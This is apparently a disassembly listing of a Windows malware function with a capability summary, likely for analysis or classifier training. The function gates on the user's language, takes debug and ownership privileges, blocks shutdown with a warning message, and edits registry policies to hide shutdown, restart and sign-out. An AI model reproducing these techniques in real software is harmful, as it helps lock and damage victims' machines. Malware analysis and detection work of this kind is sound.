Function at 0x14000b110
Capabilities:
Acquire debug privileges
Check mutex on windows
Create thread
Hide shutdown actions via policy
Identify system language via api
Set registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
lea rbp, [rsp - 0x290]
sub rsp, 0x390
mov rax, qword [0x140074040]
xor rax, rsp
mov qword [rbp + 0x280], rax
lea rax, vtable.std::_Func_impl_no_alloc_class__int___cdecl_WinMain_struct_HINSTANCE______ptr64__struct_HINSTANCE______ptr64__char____ptr64__int_::_2::_lambda_1___void___.0
xor ebx, ebx
mov qword [rsp + 0x78], rax
lea rdx, [rbp + 0x30]
lea rax, [rsp + 0x78]
mov qword [rbp + 0x68], rbx
lea rcx, [rsp + 0x78]
mov qword [rbp - 0x50], rax
call fcn.140012550
mov rcx, qword [rbp - 0x50]
mov qword [rbp + 0x68], rax
test rcx, rcx
je 0x14000b17d
mov rax, qword [rcx]
lea rdx, [rsp + 0x78]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
call fcn.140022db0
call qword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov ecx, 0x419
sub ax, cx
cmp ax, 0x2b
ja 0x14000b1aa
movabs rcx, 0x84000000601
bt rcx, rax
jb 0x14000b8e1
xorps xmm0, xmm0
lea r8, str.89A72EF01
mov edx, 1
xor ecx, ecx
movups xmmword [rbp + 0x18], xmm0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rbp + 0x18], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
setne byte [rbp + 0x20]
jne 0x14000b1e4
mov ebx, 1
jmp 0x14000b8d8
mov qword [rsp + 0x3a0], rsi
lea rcx, str.PowrProf.dll
mov qword [rsp + 0x3a8], rdi
mov qword [rsp + 0x3b0], r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000b22e
lea rdx, str.PowerSetActiveScheme
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000b22e
lea rdx, [0x140054800]
xor ecx, ecx
call rax
xor ecx, ecx
call fcn.14003baa0
mov rcx, rax
call fcn.140034ad0
lea rcx, str.SeTakeOwnershipPrivilege
call fcn.1400078c0
lea rcx, str.SeDebugPrivilege
call fcn.1400078c0
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x14000add0]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x14000b288
mov edx, 0x4e20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov qword [rsp + 0x28], rbx
lea r8, [0x140015b00]
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.ntdll.dll
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtQueryObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8d, 0x104
lea rdx, [rbp + 0x70]
xor ecx, ecx
mov qword [0x140077438], rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
lea rax, [rbp + 0x70]
lea rax, [rax + rcx*2]
mov rdx, rax
sub rax, 2
cmp word [rax], 0x5c
jne 0x14000b2f3
lea rcx, [0x140077460]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [0x140077460]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [0x140077570]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [0x1400775e0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [0x140077598]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ShutdownBlockReasonCreate
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x14000b3f7
xorps xmm0, xmm0
mov qword [rbp - 0x40], rbx
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x20], xmm0
lea rax, [0x14000b100]
movdqa xmmword [rbp - 0x10], xmm1
xor ecx, ecx
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x40]
lea rax, str.window
mov qword [rbp], rax
call qword [sym.imp.USER32.dll_RegisterClassW]
mov qword [rsp + 0x58], rbx
xor r9d, r9d
mov qword [rsp + 0x50], rbx
xor r8d, r8d
mov qword [rsp + 0x48], rbx
xor ecx, ecx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x38], 0x80000000
mov dword [rsp + 0x30], 0x80000000
mov dword [rsp + 0x28], ebx
movzx edx, ax
mov dword [rsp + 0x20], ebx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
lea rdx, str.Do_NOT_shutdown_OR_reboot_your_PC:_this_might_damage_your_files_permanently__
call rsi
lea rax, [rbp - 0x48]
mov dword [rbp + 0x10], 1
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rbp - 0x48], rbx
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rsi, qword [rsp + 0x3a0]
test eax, eax
jne 0x14000b469
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.value
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], rbx
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b4cc
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.value
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], rbx
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b52f
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.value
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov dword [rbp + 0x10], ebx
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rbp - 0x48], rbx
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b595
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.shutdownwithoutlogon
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], rbx
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_NTTerminal_Services
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b5f8
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.MaxConnectionTime
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], rbx
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_NTTerminal_Services
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b65b
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.MaxDisconnectionTime
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], rbx
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_NTTerminal_Services
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b6be
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.MaxIdleTime
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x60]
movdqu xmmword [rsp + 0x60], xmm0
call fcn.14000a290
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], rbx
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b739
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.value
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], rbx
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b79c
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.value
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov qword [rbp - 0x48], rbx
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b7ff
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.value
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x48]
mov dword [rbp + 0x10], 1
mov r9d, 2
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov qword [rbp - 0x48], rbx
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b869
mov rcx, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x28], 4
lea rdx, str.shutdownwithoutlogon
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [0x140077570]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea rcx, [0x1400775e0]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
lea rcx, [0x140077598]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
test rdi, rdi
je 0x14000b8ac
mov edx, 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x3a8]
test r14, r14
je 0x14000b8d0
mov edx, 0xffffffff
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x3b0]
lea rcx, [rbp + 0x18]
call fcn.140023c30
mov rcx, qword [rbp + 0x68]
test rcx, rcx
je 0x14000b92c
mov rdx, qword [rcx]
call qword [rdx + 0x10]
mov rcx, qword [rbp + 0x68]
test rcx, rcx
je 0x14000b90a
mov r8, qword [rcx]
lea rax, [rbp + 0x30]
cmp rcx, rax
setne dl
call qword [r8 + 0x20]
mov eax, ebx
mov rcx, qword [rbp + 0x280]
xor rcx, rsp
call fcn.14002cd30
mov rbx, qword [rsp + 0x3b8]
add rsp, 0x390
pop rbp
ret
call fcn.14002ddf0
int3